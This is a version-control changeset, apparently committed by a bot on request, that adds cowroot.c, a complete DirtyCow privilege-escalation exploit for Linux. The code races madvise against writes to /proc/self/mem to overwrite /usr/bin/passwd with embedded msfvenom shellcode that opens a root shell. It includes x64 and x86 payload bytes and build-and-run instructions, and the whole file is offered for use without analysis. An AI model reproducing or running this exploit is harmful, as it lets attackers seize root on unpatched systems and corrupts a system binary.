changeset 9485:fbbda2a4668b

<moony_the_lycan> fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
author HackBot
date Fri, 28 Oct 2016 17:40:57 +0000
parents b87d7af6b1d7
children ecf3610296c1
files cowroot.c
diffstat 1 files changed, 158 insertions(+), 0 deletions(-) [+]
line wrap: on
line diff
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/cowroot.c	Fri Oct 28 17:40:57 2016 +0000
@@ -0,0 +1,158 @@
+/*
+* (un)comment correct payload first (x86 or x64)!
+* 
+* $ gcc cowroot.c -o cowroot -pthread
+* $ ./cowroot
+* DirtyCow root privilege escalation
+* Backing up /usr/bin/passwd.. to /tmp/bak
+* Size of binary: 57048
+* Racing, this may take a while..
+* /usr/bin/passwd overwritten
+* Popping root shell.
+* Don't forget to restore /tmp/bak
+* thread stopped
+* thread stopped
+* root@box:/root/cow# id
+* uid=0(root) gid=1000(foo) groups=1000(foo)
+*
+* @robinverton 
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <string.h>
+#include <unistd.h>
+
+void *map;
+int f;
+int stop = 0;
+struct stat st;
+char *name;
+pthread_t pth1,pth2,pth3;
+
+// change if no permissions to read
+char suid_binary[] = "/usr/bin/passwd";
+
+/*
+* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
+*/ 
+unsigned char sc[] = {
+  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
+  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
+  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
+  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
+  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
+  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
+};
+unsigned int sc_len = 177;
+
+/*
+* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
+unsigned char sc[] = {
+  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
+  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
+  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
+  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
+  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
+  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
+  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
+  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
+  0x89, 0xe1, 0xcd, 0x80
+};
+unsigned int sc_len = 136;
+*/
+
+void *madviseThread(void *arg)
+{
+    char *str;
+    str=(char*)arg;
+    int i,c=0;
+    for(i=0;i<1000000 && !stop;i++) {
+        c+=madvise(map,100,MADV_DONTNEED);
+    }
+    printf("thread stopped\n");
+}
+
+void *procselfmemThread(void *arg)
+{
+    char *str;
+    str=(char*)arg;
+    int f=open("/proc/self/mem",O_RDWR);
+    int i,c=0;
+    for(i=0;i<1000000 && !stop;i++) {
+        lseek(f,map,SEEK_SET);
+        c+=write(f, str, sc_len);
+    }
+    printf("thread stopped\n");
+}
+
+void *waitForWrite(void *arg) {
+    char buf[sc_len];
+
+    for(;;) {
+        FILE *fp = fopen(suid_binary, "rb");
+
+        fread(buf, sc_len, 1, fp);
+
+        if(memcmp(buf, sc, sc_len) == 0) {
+            printf("%s overwritten\n", suid_binary);
+            break;
+        }
+
+        fclose(fp);
+        sleep(1);
+    }
+
+    stop = 1;
+
+    printf("Popping root shell.\n");
+    printf("Don't forget to restore /tmp/bak\n");
+
+    system(suid_binary);
+}
+
+int main(int argc,char *argv[]) {
+    char *backup;
+
+    printf("DirtyCow root privilege escalation\n");
+    printf("Backing up %s to /tmp/bak\n", suid_binary);
+
+    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
+    system(backup);
+
+    f = open(suid_binary,O_RDONLY);
+    fstat(f,&st);
+
+    printf("Size of binary: %d\n", st.st_size);
+
+    char payload[st.st_size];
+    memset(payload, 0x90, st.st_size);
+    memcpy(payload, sc, sc_len+1);
+
+    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
+
+    printf("Racing, this may take a while..\n");
+
+    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
+    pthread_create(&pth2, NULL, &procselfmemThread, payload);
+    pthread_create(&pth3, NULL, &waitForWrite, NULL);
+
+    pthread_join(pth3, NULL);
+
+    return 0;
+}